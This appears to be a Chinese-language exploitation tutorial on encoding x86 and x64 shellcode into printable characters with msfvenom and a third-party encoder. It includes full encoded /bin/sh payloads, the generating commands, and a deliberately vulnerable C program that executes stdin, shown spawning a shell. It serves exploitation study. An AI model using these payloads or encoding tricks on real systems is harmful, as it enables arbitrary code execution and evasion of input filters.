有时候程序会对我们的payload进行一些可打印检查,比如进行 utf-8 编码等,这时候一般的 shellcode 是无法绕过检查的,这时候就需要我们对 shellcode 进行编码。
通过对网上资料的总结,找到了两种比较好的编码方法。
x86编码
的话用msf
内置的encoder
就行了。
ex@Ex:~$ msfvenom -l encoders
Framework Encoders [--encoder <value>]
======================================
Name Rank Description
---- ---- -----------
cmd/brace low Bash Brace Expansion Command Encoder
cmd/echo good Echo Command Encoder
cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Bourne ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicar manual The EICAR Encoder
generic/none normal The "none" Encoder
mipsbe/byte_xori normal Byte XORi Encoder
mipsbe/longxor normal XOR Encoder
mipsle/byte_xori normal Byte XORi Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 Encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
ruby/base64 great Ruby Base64 Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x64/xor_dynamic normal Dynamic key XOR Encoder
x64/zutto_dekiru manual Zutto Dekiru
x86/add_sub manual Add/Sub Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolower manual Avoid underscore/tolower
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder
x86/bmp_polyglot manual BMP Polyglot
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/opt_sub manual Sub Encoder (optimised)
x86/service manual Register Service
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
x86/xor_dynamic normal Dynamic key XOR Encoder
但是现在(2019-07-13)msf
中还没有x64
的alpha_upper
编码方式。
使用msf
时,可以用内置的shellcode,其命令如下:
msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/bin/sh" -e x86/alpha_upper BufferRegister=eax
BufferRegister指的是指向shellcode的寄存器的值
如果不声明BufferRegister的话,生成的shellcode会有额外的几条指令来确定shellcode的位置,而那几条额外的指令却并不是可打印字符。
其结果如下所示:
ex@Ex:~/test$ msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/bin/sh" -e x86/alpha_upper -f python
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 155 (iteration=0)
x86/alpha_upper chosen with final size 155
Payload size: 155 bytes
Final size of python file: 750 bytes
buf = ""
buf += "\x89\xe7\xda\xd1\xd9\x77\xf4\x5b\x53\x59\x49\x49\x49"
buf += "\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33"
buf += "\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41"
buf += "\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41"
buf += "\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a"
buf += "\x4a\x49\x32\x4a\x44\x4b\x36\x38\x4a\x39\x56\x32\x33"
buf += "\x56\x45\x38\x56\x4d\x53\x53\x4d\x59\x4d\x37\x35\x38"
buf += "\x56\x4f\x32\x53\x52\x48\x53\x30\x55\x38\x46\x4f\x53"
buf += "\x52\x35\x39\x32\x4e\x4b\x39\x4d\x33\x36\x32\x5a\x48"
buf += "\x44\x48\x53\x30\x53\x30\x35\x50\x36\x4f\x42\x42\x42"
buf += "\x49\x52\x4e\x46\x4f\x54\x33\x35\x38\x43\x30\x31\x47"
buf += "\x36\x33\x4b\x39\x4b\x51\x58\x4d\x4d\x50\x41\x41"
第二种,我们可以用msf
来编码自己写的shellcode,其命令如下:
cat shellcode | msfvenom -a x86 --platform linux -e x86/alpha_upper BufferRegister=eax
其运行结果如下:
ex@Ex:~/test$ cat shellcode | msfvenom -a x86 --platform linux -e x86/alpha_upper BufferRegister=eax
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 103 (iteration=0)
x86/alpha_upper chosen with final size 103
Payload size: 103 bytes
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJ4K68J90RCXVO6O43E82HVOE2SYBNMYKS01XIHMMPAA
对于x64
的shellcode进行编码,Github上的 https://github.com/ecx86/shellcode_encoder 是很不错的,和msf
上的工具一样,都是要确定shellcode的地址才行。
其命令如下:
python2 main.py shellcode rax+29
运行结果如下:
ex@Ex:~/test/shellcode_encoder$ hexdump -C shellcode
00000000 48 b8 2f 62 69 6e 2f 73 68 00 50 48 89 e7 48 31 |H./bin/sh.PH..H1|
00000010 f6 48 f7 e6 b8 3b 00 00 00 0f 05 |.H...;.....|
0000001b
ex@Ex:~/test/shellcode_encoder$ python2 main.py shellcode rax+29
Encoding stage2
488b0432 => 4863343a31343a53582d402874332d5020605f35383c2f5f505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
480faf44 => 4863343a31343a53582d713b40412d704520413557703039505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
32084889 => 4863343a31343a53582d244874202d5f606c20354f5f5736505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
043a83c7 => 4863343a31343a53582d402233402d41602020357b472f58505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
0883c610 => 4863343a31343a53582d402646612d502220413578345f4d505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
85c075e8 => 4863343a31343a53582d202022202d20407e4035455f2a77505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
Multiply-encoding stage3
48b82f62696e2f73 => 413553575a25252e 483e23646d6e2b73
6800504889e74831 => 415462524c61643a 684654484b634c35
f648f7e6b83b0000 => 4163795c343a7931 7649363a204f3a3b
000f059090909090 => 3c3b77625b273220 40707d593b5c7463
Assembling jump at +408
Encoding preamble for rdx <- rax+29
PPTAYAXVI31VXXXf-cof-@Hf-@HPZ
Original length: 27
Encoded length: 476
Preamble length: 29
Total length: 505
PPTAYAXVI31VXXXf-cof-@Hf-@HPZTAYAXVI31VXPP[_Hc4:14:SX-@(t3-P `_58</_P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-q;@A-pE A5Wp09P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-$Ht -_`l 5O_W6P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@"3@-A` 5{G/XP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@&Fa-P" A5x4_MP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX- " - @~@5E_*wP^14:WX-~[w_-?ah,-?C tP_SX- H#B- x^~5X>~?P_Hc4:14:SX-"* -E6 5f}//P^14:WX-~[w_-?ah,-?C tP_SX- A""- ?~~5\~__P^SX-@@@"-y``~5____P_AAAAA5SWZ%%.H>#dmn+sATbRLad:hFTHKcL5Acy\4:y1vI6: O:;<;wb['2 @p}Y;\tc
// x86: gcc -m32 printable.c -o printable32 // x64: gcc printable.c -o printable64 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> int is_printable(char *s, int length) { int i; for (i = 0; i < length; i ++) { if (s[i] <= 31 || s[i] == 127) { return 0; } } return 1; } int main() { char *buf = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); int tail = read(0, buf, 0x1000); alarm(60); if (buf[tail - 1] == '\n') { buf[tail - 1] = '\0'; tail--; } if (!is_printable(buf, tail)) { puts("It must be a printable string!"); exit(-1); } asm("call *%0" ::"r"(buf)); return 0; }
在这个程序中,正常的 shellcode 会被直接绊住,所以就可以利用上面编码过的shellcode。
其结果如下:
ex@Ex:~/test$ file printable32
printable32: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 3.2.0, BuildID[sha1]=6bbd4307de7e93dcda81bef0f16617415b14ec17, not stripped
ex@Ex:~/test$ ./printable32
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJ4K68J90RCXVO6O43E82HVOE2SYBNMYKS01XIHMMPAA
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$ exit
ex@Ex:~/test$ file printable64
printable64: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=9d51fb0464f69bae2eb982d538eaee094d5b501b, not stripped
ex@Ex:~/test$ ./printable64
PPTAYAXVI31VXXXf-cof-@Hf-@HPZTAYAXVI31VXPP[_Hc4:14:SX-@(t3-P `_58</_P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-q;@A-pE A5Wp09P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-$Ht -_`l 5O_W6P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@"3@-A` 5{G/XP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@&Fa-P" A5x4_MP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX- " - @~@5E_*wP^14:WX-~[w_-?ah,-?C tP_SX- H#B- x^~5X>~?P_Hc4:14:SX-"* -E6 5f}//P^14:WX-~[w_-?ah,-?C tP_SX- A""- ?~~5\~__P^SX-@@@"-y``~5____P_AAAAA5SWZ%%.H>#dmn+sATbRLad:hFTHKcL5Acy\4:y1vI6: O:;<;wb['2 @p}Y;\tc
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$